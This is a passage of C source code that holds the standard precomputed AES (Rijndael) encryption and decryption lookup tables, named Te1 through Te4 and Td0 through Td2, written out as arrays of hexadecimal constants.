0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U,
0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU,
0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U,
0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U,
0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU,
0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU,
0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU,
0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U,
0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U,
0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU,
0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U,
0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU,
0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U,
0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU,
0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U,
0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU,
0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU,
0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U,
0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU,
0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U,
0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU,
0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U,
0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U,
0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U,
0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU,
0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU,
0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U,
0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU,
0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U,
};
static const unsigned int Te2[256] =
{
0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU,
0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U,
0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU,
0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U,
0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU,
0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U,
0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU,
0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U,
0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U,
0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU,
0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U,
0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U,
0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U,
0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU,
0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U,
0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U,
0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU,
0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U,
0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U,
0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U,
0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU,
0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU,
0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U,
0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU,
0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU,
0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U,
0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU,
0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U,
0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU,
0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U,
0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U,
0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U,
0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU,
0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U,
0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU,
0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U,
0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU,
0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U,
0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U,
0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU,
0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU,
0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU,
0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U,
0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U,
0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU,
0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U,
0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU,
0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U,
0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU,
0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U,
0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU,
0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU,
0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U,
0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU,
0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U,
0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU,
0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U,
0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U,
0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U,
0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU,
0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU,
0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U,
0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU,
0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U,
};
static const unsigned int Te3[256] =
{
0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U,
0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U,
0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U,
0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU,
0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU,
0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU,
0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U,
0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU,
0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU,
0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U,
0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U,
0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU,
0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU,
0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU,
0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU,
0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU,
0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U,
0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU,
0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU,
0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U,
0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U,
0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U,
0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U,
0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U,
0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU,
0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U,
0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU,
0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU,
0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U,
0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U,
0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U,
0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU,
0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U,
0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU,
0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU,
0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U,
0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U,
0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU,
0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U,
0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU,
0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U,
0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U,
0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U,
0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U,
0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU,
0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U,
0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU,
0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U,
0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU,
0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U,
0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU,
0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU,
0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU,
0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU,
0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U,
0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U,
0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U,
0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U,
0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U,
0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U,
0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU,
0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U,
0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU,
0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU,
};
static const unsigned int Te4[256] =
{
0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU,
0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U,
0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU,
0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U,
0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU,
0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U,
0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU,
0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U,
0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U,
0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU,
0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U,
0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U,
0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U,
0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU,
0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U,
0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U,
0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU,
0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U,
0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U,
0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U,
0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU,
0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU,
0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U,
0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU,
0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU,
0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U,
0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU,
0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U,
0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU,
0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U,
0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U,
0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U,
0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU,
0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U,
0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU,
0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U,
0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU,
0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U,
0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U,
0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU,
0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU,
0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU,
0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U,
0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U,
0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU,
0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U,
0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU,
0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U,
0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU,
0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U,
0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU,
0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU,
0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U,
0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU,
0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U,
0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU,
0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U,
0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U,
0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U,
0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU,
0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU,
0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U,
0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU,
0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U,
};
static const unsigned int Td0[256] =
{
0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U,
0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U,
0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U,
0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU,
0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U,
0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U,
0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU,
0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U,
0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU,
0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U,
0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U,
0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U,
0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U,
0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU,
0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U,
0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU,
0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U,
0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU,
0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U,
0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U,
0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U,
0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU,
0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U,
0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU,
0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U,
0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU,
0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U,
0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU,
0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU,
0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U,
0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU,
0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U,
0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU,
0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U,
0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U,
0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U,
0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU,
0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U,
0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U,
0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU,
0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U,
0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U,
0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U,
0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U,
0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U,
0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU,
0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U,
0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U,
0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U,
0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U,
0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U,
0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU,
0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU,
0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU,
0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU,
0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U,
0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U,
0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU,
0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU,
0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U,
0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU,
0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U,
0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U,
0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U,
};
static const unsigned int Td1[256] =
{
0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU,
0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U,
0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU,
0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U,
0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U,
0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U,
0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U,
0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U,
0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U,
0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU,
0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU,
0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU,
0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U,
0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU,
0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U,
0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U,
0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U,
0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU,
0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU,
0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U,
0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU,
0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U,
0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU,
0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU,
0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U,
0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U,
0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U,
0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU,
0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U,
0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU,
0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U,
0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U,
0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U,
0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU,
0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U,
0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U,
0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U,
0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U,
0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U,
0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U,
0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU,
0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU,
0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U,
0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU,
0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U,
0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU,
0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU,
0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U,
0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU,
0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U,
0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U,
0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U,
0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U,
0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U,
0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U,
0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U,
0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU,
0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U,
0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U,
0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU,
0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U,
0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U,
0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U,
0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U,
};
static const unsigned int Td2[256] =
{
0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U,
0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U,
0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U,
0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U,
0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU,
